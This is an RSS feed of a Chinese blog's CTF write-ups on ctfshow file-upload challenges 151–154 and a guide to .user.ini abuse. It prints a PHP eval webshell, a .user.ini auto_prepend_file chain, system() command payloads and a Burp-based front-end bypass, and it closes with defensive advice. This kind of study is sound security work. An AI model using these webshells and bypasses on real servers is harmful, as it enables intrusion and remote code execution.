<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>文件上传 on 波奇大王的 &#34;Hugo Project&#34;</title>
        <link>https://www.guitarhero.wang/tags/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/</link>
        <description>Recent content in 文件上传 on 波奇大王的 &#34;Hugo Project&#34;</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>zh-cn</language>
        <lastBuildDate>Wed, 02 Sep 2026 20:24:37 +0800</lastBuildDate><atom:link href="https://www.guitarhero.wang/tags/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/index.xml" rel="self" type="application/rss+xml" /><item>
            <title>a文件上传的总结</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-upload/a%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%9A%84%E6%80%BB%E7%BB%93/</link>
            <pubDate>Wed, 02 Sep 2026 20:24:37 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-upload/a%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%9A%84%E6%80%BB%E7%BB%93/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;file_upload1_wm2&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/file_upload1_wm2.jpg&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;file_upload2_wm2&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/file_upload2_wm2.jpg&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;file_upload3_wm2&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/file_upload3_wm2.jpg&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;file_upload4_wm2&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/file_upload4_wm2.jpg&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;file_upload5_wm2&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/file_upload5_wm2.jpg&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;file_upload6_wm2&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/file_upload6_wm2.jpg&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;file_upload7_wm2&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/file_upload7_wm2.jpg&#34;&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web154</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-upload/web154/</link>
            <pubDate>Wed, 02 Sep 2026 17:31:03 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-upload/web154/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web154&#34;&gt;ctfshow web154&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web154&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：文件上传（你真的了解&amp;quot;.user.ini&amp;quot;吗）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-9-2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260902172743&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260902172743.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;[[Web153|[&amp;ldquo;Web153&amp;rdquo;,&amp;ldquo;文件上传&amp;rdquo;]]]&#xA;和153解题基本一样，就是多了个检查图片内容（应该是过滤了php），可以参考下图对一句话木马进行修改&#xA;&lt;img alt=&#34;404e8f058d59926fced2720034cda0f4&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/404e8f058d59926fced2720034cda0f4.jpg&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/?1=system(&amp;#34;tac ../flag.php&amp;#34;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260902172846&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260902172846.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;文件上传&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;</description>
        </item><item>
            <title>ctfshow web153</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-upload/web153/</link>
            <pubDate>Wed, 02 Sep 2026 15:48:31 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-upload/web153/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web153&#34;&gt;ctfshow web153&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web153&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：文件上传（你真的理解了 &amp;ldquo;.user.ini&amp;quot;吗？）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-9-2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260902154531&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260902154531.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260902154513&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260902154513.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/?1=system(&amp;#34;tac ../flag.php&amp;#34;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260902154749&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260902154749.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;文件上传&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;去看[[user.ini原理与上传解析路线]]&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>.user.ini 原理与文件上传解析路线</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-upload/user.ini%E5%8E%9F%E7%90%86%E4%B8%8E%E4%B8%8A%E4%BC%A0%E8%A7%A3%E6%9E%90%E8%B7%AF%E7%BA%BF/</link>
            <pubDate>Wed, 02 Sep 2026 14:54:29 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-upload/user.ini%E5%8E%9F%E7%90%86%E4%B8%8E%E4%B8%8A%E4%BC%A0%E8%A7%A3%E6%9E%90%E8%B7%AF%E7%BA%BF/</guid>
            <description>&lt;h1 id=&#34;userini-原理与文件上传解析路线&#34;&gt;.user.ini 原理与文件上传解析路线&#xD;&#xA;&lt;/h1&gt;&#xD;&#xA;    &lt;blockquote&gt;&#xD;&#xA;        &lt;p&gt;适用：文件上传题（黑名单校验被绕过但&amp;quot;解析不了&amp;quot;时）&#xA;核心认知：&lt;strong&gt;先认服务器类型，再选上传利用方式&lt;/strong&gt;&lt;/p&gt;&#xA;&#xD;&#xA;    &lt;/blockquote&gt;&#xD;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;一上传解析的两个配置文件是谁在处理&#34;&gt;一、上传解析的两个&amp;quot;配置文件&amp;quot;是谁在处理&#xD;&#xA;&lt;/h2&gt;&lt;table&gt;&#xA;&#x9;&lt;thead&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;文件&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;谁读它&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;生效条件&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/thead&gt;&#xA;&#x9;&lt;tbody&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;.htaccess&lt;/code&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;strong&gt;Apache&lt;/strong&gt;（Web 服务器）&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Apache + AllowOverride 开启&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;.user.ini&lt;/code&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;strong&gt;PHP&lt;/strong&gt;（CGI/FastCGI 模式）&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;php-fpm 跑 PHP（nginx 或 Apache + php-fpm）&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nginx &lt;strong&gt;根本不认 .htaccess&lt;/strong&gt;（nginx 没有这个机制，配置全在 nginx.conf）&lt;/li&gt;&#xA;&lt;li&gt;Apache + mod_php &lt;strong&gt;不读 .user.ini&lt;/strong&gt;（不是 CGI 模式）&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;table&gt;&#xA;&#x9;&lt;thead&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;环境&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;优先试哪个&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/thead&gt;&#xA;&#x9;&lt;tbody&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Apache&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;.htaccess&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;strong&gt;nginx + php-fpm&lt;/strong&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;strong&gt;.user.ini&lt;/strong&gt;（本文重点）&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;&lt;strong&gt;怎么判断服务器&lt;/strong&gt;：看响应头 &lt;code&gt;Server: Apache/2.x&lt;/code&gt; 还是 &lt;code&gt;nginx&lt;/code&gt;；或传 &lt;code&gt;.phP&lt;/code&gt; 只下载不执行 → 基本是 nginx + php-fpm。&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;二userini-是什么原理&#34;&gt;二、.user.ini 是什么（原理）&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;code&gt;.user.ini&lt;/code&gt; = &lt;strong&gt;PHP 的&amp;quot;目录级配置文件&amp;quot;&lt;/strong&gt;（类似 .htaccess 但由 PHP 自己管）。&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;生效模式：&lt;strong&gt;CGI/FastCGI&lt;/strong&gt;（nginx + php-fpm、Apache + php-fpm 都算）&lt;/li&gt;&#xA;&lt;li&gt;文件名默认就是 &lt;code&gt;.user.ini&lt;/code&gt;（php.ini 的 &lt;code&gt;user_ini.filename&lt;/code&gt;，可改）&lt;/li&gt;&#xA;&lt;li&gt;放在哪个目录 → &lt;strong&gt;只对该目录下的 PHP 文件生效&lt;/strong&gt;（含子目录）&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;关键指令auto_prepend_file&#34;&gt;关键指令：auto_prepend_file&#xD;&#xA;&lt;/h3&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;auto_prepend_file=shell.png&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;：&lt;strong&gt;该目录下每个 PHP 文件被请求时，执行前都会先自动 include 指定的文件&lt;/strong&gt;。&lt;/p&gt;&#xA;&lt;p&gt;→ 如果指定的文件内容是你的 PHP webshell（哪怕后缀是 .png），&#xA;→ 那么访问该目录里&lt;strong&gt;任意一个 .php&lt;/strong&gt;（比如 index.php），都会先执行你的代码！&lt;/p&gt;&#xA;&#xD;&#xA;    &lt;blockquote&gt;&#xD;&#xA;        &lt;p&gt;还有配套的 &lt;code&gt;auto_append_file&lt;/code&gt;（执行后自动包含），用法同理。&lt;/p&gt;&#xA;&#xD;&#xA;    &lt;/blockquote&gt;&#xD;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;三userini-攻击用法完整链条&#34;&gt;三、.user.ini 攻击用法（完整链条）&#xD;&#xA;&lt;/h2&gt;&lt;h3 id=&#34;前提&#34;&gt;前提&#xD;&#xA;&lt;/h3&gt;&lt;ol&gt;&#xA;&lt;li&gt;上传校验是&lt;strong&gt;黑名单&lt;/strong&gt;（只挡已知危险后缀，能传任意名文件）&lt;/li&gt;&#xA;&lt;li&gt;能上传 &lt;code&gt;.user.ini&lt;/code&gt;（点开头 + 黑名单没挡）&lt;/li&gt;&#xA;&lt;li&gt;上传目录里有&lt;strong&gt;可访问的 .php 文件&lt;/strong&gt;（用于触发 auto_prepend_file）&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;步骤&#34;&gt;步骤&#xD;&#xA;&lt;/h3&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;① 上传 .user.ini，内容：&#xA;   auto_prepend_file=shell.png&#xA;&#xA;② 上传 shell.png，内容：&#xA;   &amp;lt;?php @eval($_GET[1]);?&amp;gt;&#xA;&#xA;③ 访问该目录下任意 .php（如 /upload/index.php）&#xA;   → PHP 自动先包含 shell.png → 你的 webshell 执行&#xA;&#xA;④ 执行命令：&#xA;   /upload/index.php?1=system(&amp;#34;tac ../flag.php&amp;#34;);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;为什么这样能绕过解析不了的问题&#34;&gt;为什么这样能绕过&amp;quot;解析不了&amp;quot;的问题&#xD;&#xA;&lt;/h3&gt;&lt;table&gt;&#xA;&#x9;&lt;thead&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;错误路线（.phP 大小写）&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;正确路线（.user.ini）&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/thead&gt;&#xA;&#x9;&lt;tbody&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;依赖&amp;quot;服务器把 .phP 当 PHP 解析&amp;quot;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;依赖&amp;quot;PHP 主动包含 .png 文件&amp;quot;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;服务器只认小写 &lt;code&gt;.php&lt;/code&gt; → 不解析 → 只下载&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;auto_prepend_file 让任意后缀被当 PHP 执行&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;看服务器脸色 ❌&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;不依赖后缀，自己说了算 ✅&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;&lt;strong&gt;核心&lt;/strong&gt;：&lt;code&gt;.phP&lt;/code&gt; 是&amp;quot;骗解析器&amp;quot;，&lt;code&gt;.user.ini&lt;/code&gt; 是&amp;quot;让 PHP 自己加载你的文件&amp;quot;。&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;四为什么-php-上传成功但访问只下载&#34;&gt;四、为什么 .phP 上传成功但访问只下载&#xD;&#xA;&lt;/h2&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;上传成功 = 过滤器只查小写&amp;#34;php&amp;#34;字符串，.phP 绕过字符串检查 ✅&#xA;访问只下载 = 服务器处理器匹配大小写敏感：&#xA;  nginx location ~ \.php$  （默认区分大小写）&#xA;  → .phP 不交给 PHP 解析 → 当普通文件 → 强制下载（Content-Disposition: attachment）&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;提示&lt;/strong&gt;：Windows 服务器文件系统大小写不敏感，.phP 可能被当成 .php 执行；&lt;strong&gt;Linux + nginx 大小写敏感 → 只下载&lt;/strong&gt;——这本身是&amp;quot;该走 .user.ini&amp;quot;的信号。&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;五上传题判定流程定方向&#34;&gt;五、上传题判定流程（定方向）&#xD;&#xA;&lt;/h2&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;1. 看响应头 / 传 .phP 测试 → 判断 Apache 还是 nginx+php-fpm&#xA;2. 试传 shell.php → 失败；shell.png / shell.a → 成功&#xA;   → 说明是黑名单校验（只挡已知后缀）&#xA;3. 黑名单 + 能传任意名 → 试 .user.ini（nginx+php-fpm）或 .htaccess（Apache）&#xA;4. .user.ini: auto_prepend_file=shell.png + 传 shell.png webshell&#xA;5. 访问目录里任意 .php 触发 → ?1=system(...) → flag&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;&#xA;&lt;h2 id=&#34;六防御视角知道原理就会防&#34;&gt;六、防御视角（知道原理就会防）&#xD;&#xA;&lt;/h2&gt;&lt;ul&gt;&#xA;&lt;li&gt;上传校验别用黑名单（改白名单：只允许图片/文档白名单后缀）&lt;/li&gt;&#xA;&lt;li&gt;上传目录&lt;strong&gt;禁止执行 PHP&lt;/strong&gt;（nginx 配置 location 里 fastcgi 只给白名单后缀）&lt;/li&gt;&#xA;&lt;li&gt;禁用/改名 &lt;code&gt;.user.ini&lt;/code&gt;：php.ini 里 &lt;code&gt;user_ini.filename=&lt;/code&gt; 设为空或改名&lt;/li&gt;&#xA;&lt;li&gt;上传文件名随机化，禁止点开头文件（.user.ini 这种）&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;记忆口诀&#34;&gt;记忆口诀&#xD;&#xA;&lt;/h2&gt;&#xD;&#xA;    &lt;blockquote&gt;&#xD;&#xA;        &lt;p&gt;&lt;strong&gt;黑名单能传任意名，看服务器选入口：Apache 上 .htaccess，nginx 上 .user.ini；prepend 一设，png 也变 shell。&lt;/strong&gt;&lt;/p&gt;&#xA;&#xD;&#xA;    &lt;/blockquote&gt;&#xD;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;em&gt;速查表持续补充，实战遇到新上传姿势随时更新。&lt;/em&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web152</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-upload/web152/</link>
            <pubDate>Mon, 31 Aug 2026 20:33:25 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-upload/web152/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web152&#34;&gt;ctfshow web152&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web152&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：文件上传（不严谨的后端校验）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-31&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260831202828&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831202828.png&#34;&gt;&#xA;根据题意是一个“不严谨”的后端校验&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;这题就不演示了，作者是真不知道这后端是校验了个啥，用151一样的步骤直接就成功了，估计是校验了content-type把&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;</description>
        </item><item>
            <title>ctfshow web151</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-upload/web151/</link>
            <pubDate>Mon, 31 Aug 2026 20:25:17 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-upload/web151/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web151&#34;&gt;ctfshow web151&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web151&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：文件上传（前端验证绕过）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-31&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260831201222&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831201222.png&#34;&gt;&#xA;简单的文件上传&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.题目信息给到你说“前端验证不可靠”，说明此题是前端验证的文件上传。这里你可以试想下，如果题目没给到你，你该如何判断这是为前端验证呢？1.通过浏览器右键检查看看是否有关于验证文件信息的代码 2. 打开代理抓包后尝试上传一个错误文件，如果burp并没用抓到包浏览器也弹出来了不可以上传此类型文件，说明你上传的文件根本没用经过对方服务器端的校验而是直接在前端就完成校验了。&#xA;2.知道对方是前端校验后我们就可以先生成个后门文件，然后将其后缀php先改成正确文件后缀，如png&#xA;3.打开抓包，将上传改造后的后门文件的数据包抓住并将后缀改回php&#xA;4.访问对应路径执行后用哥斯拉尝试连接并查找flag&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.打开代理burp进行验证&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.通过哥斯拉生成后门文件，然后将其改成png后缀&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 